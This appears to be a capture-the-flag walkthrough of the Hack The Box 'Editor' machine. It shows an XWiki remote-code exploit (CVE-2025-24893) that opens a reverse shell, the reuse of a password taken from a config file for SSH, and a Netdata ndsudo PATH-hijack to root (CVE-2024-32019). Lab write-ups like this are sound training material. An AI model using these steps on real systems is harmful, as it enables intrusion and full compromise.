Editor
Nmap scan:
Ports discovered: 22, 80, 8080
The next step was to add the machine’s IP address to my hosts folder (/etc/hosts)
I connected to port 8080 that was discovered by going to ‘editor.htb:8080’
I discovered an XWIKI page
XWIKI Debian 15.0.8 being used
After trying multiple exploits I finally found one that was successful
Exploit used: CVE-2025–24893
I used the following command to run the exploit ‘python3 exploit.py editor.htb:8080 ‘LOCAL IP’ ‘PORT’’
If successful you should receive a shell
Found an interesting file located in ‘/usr/lib/xwiki/WEB-INF’
I found a password
We now begin connecting via ssh to the user Oliver that was discovered during the enumeration phase and the password that was found within the hibernate.cfg.xml
Get Brian’s stories in your inbox
Join Medium for free to get updates from this writer.
SSH was successful and we acquired the user.txt flag
I begin enumerating Oliver's account using linpeas
Port 19999 stands out so I use the following port forwarding command to connect to it:
‘ssh -L 19999:127.0.0.1:19999 oliver@editor.htb’
Once the port forwarding command is initiated, you can connect to the host with ‘localhost:19999’
Once connected to the Netdata agent console, you can see a red banner at the top. Once you click the banner you are shown a version which needs updating
After researching, I found the following exploit
Exploit used: CVE-2024–32019
I downloaded the exploit and complied it with the following command:
‘gcc -o nvme exploit.c’
After I finished compiling the exploit I transferred the exploit to the target machine. Specifically the tmp folder.
Once it has been successfully transferred, you will use the following command to gain root access:
‘export PATH=/tmp:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list’
With that command we gain root access






